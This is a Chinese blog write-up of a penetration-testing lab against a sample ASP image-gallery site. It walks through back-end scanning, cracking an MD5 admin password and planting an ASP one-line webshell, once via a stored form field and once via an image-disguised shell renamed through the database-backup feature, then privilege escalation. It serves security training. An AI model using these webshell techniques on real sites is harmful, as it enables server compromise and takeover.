# 网站综合渗透实验 writeup

# 原创

ProjectDer

于 2016-07-30 17:35:27 发布 Ο 2220 🏫 收藏 1

分类专栏: 测试实验

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq\_33020901/article/details/52073996

#### 版权



测试实验 专栏收录该内容

15 篇文章 0 订阅

订阅专栏

感受,做这些实验主要难点我感觉就是上传webshell了,他插入shell的姿势让我防不胜防,这里插那里插,上一个实验还需要闭合引号,这个实验不用闭合引号,上个实验路径比较简单,这个实验路径比较复杂,尤其是 bear.asp的文件是数据库文件... 想了好久才想通,到底为什么不用闭合引号...为什么路径是/db/bear.asp...上传sehll有两种方法,都学习了是不吃亏的哦~

### 实验过程:

由上次实验知道得到一个陌生的网站需要干的事情,首先扫描后台,然后利用网站的漏洞,找管理员账号密码 哪里有注入点,如果不知道的话建议先学学Sql注入吧...少用工具去检测是否存在漏洞...



这里密码被加密,百度搜md5在线解密,解密即可,获取管理员账号密码后,扫描后台

)《想念初恋》御剑后台扫描工具 珍森版 By:御剑孤独 QQ:343034656

□世/吉自	3 ▼ (砂 跑时的贝面镀去开) ▼ MDB:419	<ul> <li>✓ PHP: 1070</li> <li>✓ JSP: 631</li> </ul>		▶ 探測200 □ 探测403 □ 探测3XX			
コ田一戸ル							
ID	地址			HTTP响应			
2	http://www.test.com/aspnet_client/system_web/			200			
1	http://www.test.com/robots.txt			200			
3	http://www.test.com/aspnet_client/system_web/2_0_50727/			200			
4	http://www.test.com/aspnet_client/			200			
5	http://www.test.com/test.txt		200				
6	http://www.test.com/images/			200			
7	http://www.test.com/db/			200			
8	http://www.test.com/count/			200			
9	http://www.test.com/admin/login.asp			200			
10	http://www.test.com/config.asp			200			
11	http://www.test.com/admin/Login.asp	200					
12	http://www.test.com/conn.asp	200					
13	http://www.test.com/index.asp	200					
14	http://www.test.com/photo.asp						
15	http://www.test.com/list.asp	200					
16	http://www.test.com/Char.asp	200					
17	http://www.test.com/Index.asp	200					
18	http://www.test.com/admin/conn.asp		200				
19	http://www.test.com/admin/Pic.asp		200				
20	http://www.test.com/admin/main.asp	200					
21	http://www.test.com/admin/md5.asp			200			

登陆进去后找上传shell的地方,然后提权,进一步控制对方服务器这里有两种方法 传入shell方法一 直接写入asp文件

🗲 🔊 🕙 uww. test. com/admin/index. asp		admin/index. asp 🛛 😻 IIS 🕶 🚼 🗢 🖨	•
図片管理系 linhai   退出	統 《	友情连接管理 色影无忌欢迎您 http://www.xitek.com http://www2.nd169.com/lin/imag 修改 删	除
<b>图片管理</b> 添加图片 添加介绍式图片 管理图片 推荐组图	R	蜂鸟摄影网   http://www.fengniao.com   http://www2.nd169.com/lin/image       修改 曲          天湖摄影网   http://www.thsyw.com/   http://www2.nd169.com/lin/images/       修改 曲         **修改时请注意:次序为站点名称、网址、Logo地址	除 除
用户管理 系统管理 设置管理 系统变量设置 发情连接管理 sql注入管理		站点名称 [qq Logo地址 www 连接地址 《%eval request(~1~)%> 添加 [取消]	
<b>数据管理</b> 备份/恢复数据库 压缩数据库	*		

就是在这里进行插入一句话,对于新手来说可能不太懂为什么这样插,因为那时我就很迷惑,然后捋清思路,这里输入的东西肯 定是要存储进数据库,那么数据库在哪里? 在备份数据库哪里可以看到数据库名字是bear.asp,然后直接写 <% Eval Request(1)%>,保存 使用菜刀连接即可

## 传入shell方法二 利用备份数据库功能

点击 [设置管理] -> [系统变量设置],发现系统设置中有上传图片的地方,下一步,构造图片木马;

□ □ X □ 秋潮视觉工作室>管理》 × □					
← → C 🗋 www.test.ichunqiu/admin/index.asp 📲 😭					
图片管理系统 😵	df	系统设置			
	网站名称	秋潮视觉工作室 / 注:最后一定要加			
添加图片	网站顶部图标	http://localhost/images/logo2.gif 上传图片			
添加介绍式图片 管理图片	网站关键字	人像摄影,摄影工作室,外景人像,影室人像,惜侣写真,人体写真,封			
推荐组图	网站所有人姓名	泥熊			
	网站所有人Email	linhai0812@21cn.Com			
用户管理 🔒	网站所有人QQ	1957692			
系统管理 🔍	联系电话:	暂无			
设置管理 🐶	文章毎页显示	20 篇			
系统变量设置	网站统计设置	💿 按真实来访ip统计 🔍 按页面总来访统计			
友情连接管理	站点图片属性	宽: 120 高: 120 首页推荐图片显示 3 组			
sql注入管理	图片栏目属性	一级图片显示 10 张 二级图片显示 20 张 一级横排显示 2			
	首页显示论坛调用	💿 显示 🔍 不显示			
数据管理 💰	首页Flash音乐调用	● 使用 ○ 不使用			
备份/恢复数据库	在线预约区域				
压缩数据库		秋潮视觉摄影工作室,专属于您私人的视觉影象机构❣ 完全根据你			
系统信息 🥠	网站公告	要打造属于你个人的时尚影象! 我们不做别人做过的! 我们只做自 到的!			
阿熊摄影网站管理系统	•	· · · · · · · · · · · · · · · · · · ·			

在桌面上新建一个文本文件,在里面写入一句话木马

<%Eval Request("ichunqiu")%>

后面随便输入一些内容,纯粹是为了增加图片体积,但要注意,几十Kb足矣,体积太大太小都不行;

-

🕞 1. txt - 记事本 📃 🗆 🗾 🗙
文件 (E) 编辑 (E) 格式 (D) 查看 (V) 帮助 (H)
<%Eval Request("ichunqiu")%>
ichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqi 🔟
uichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunq
iuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichun
qiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichu
nqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuich
unqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuic
hunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiui
chunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiu
ichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqi
uichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunq
iuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichun
qiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichu
nqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuich
unqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuic
hunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiui
chunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiu
ichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqi
uichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunq
iuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichunqiuichun
qıuıchunqıuıchunqıuichunqiuichunqiuichunqiuichunqiuichunqiuichu
Indinicynudinicynudinicynudinicynudinicynudinicynudinicynudinicynudinicy

然后将文件重命名为jpg格式文件,点击[上传图片],把刚才构造的图片传上去,然后点击[生成代码],这里会给出图片保存的路径,一会儿菜刀连接需要这个路径



关键步骤到了!点击左侧菜单[数据管理]->[备份/恢复数据库],把[数据库路径]修改为刚才复制的图片路径,[备份的数据库路径]修改为后缀名为asp的文件,文件名自己取,记住就行,然后点击备份;[特别注意:两个路径的最前面都有斜杠]

□ □ X □ 秋潮视觉工作室>管理》× □							
← → C 🗋 www.tes	← → C 🗋 www.test.ichunqiu/admin/index.asp 🏠 🚍						
修理系统          1inhai       退出          B片管理           添加图片	各份数据库         数据库路径:       /admin/upfiles/2015112173547.jp         备份的数据库路径:       /admin/upfiles/test.asp         备份						
添加介绍式图片 管理图片 推荐组图	恢复数据库 备份的数据库路径:/db/bear_bak.asp 数据库路径:/db/bear.asp						
用户管理 <b>系统管理 </b>	恢复						
系统变量设置 友情连接管理 sql注入管理							
<b>数据管理</b>	4						

两种方法都能将shell上传成功,然后就是菜刀连接了

连接进去之后,上传一个cmd.exe 执行命令,创建用户提示权限不够,然后上传pr.exe 这个是专门用来提权的

PS:

提权和获取服务器主机hash,这里在上一个实验的文章中已经有详细介绍,不再继续介绍

PS:

如果你留心,会发现第一题问的是论坛管理员的密码是多少,这里我在看别人文章时才注意到的,当我提交的是论坛管理员的密码,最后得分总是87分,不能解锁下一关实验,然后我输入网站管理员密码,最后得分102成功解锁下一关实验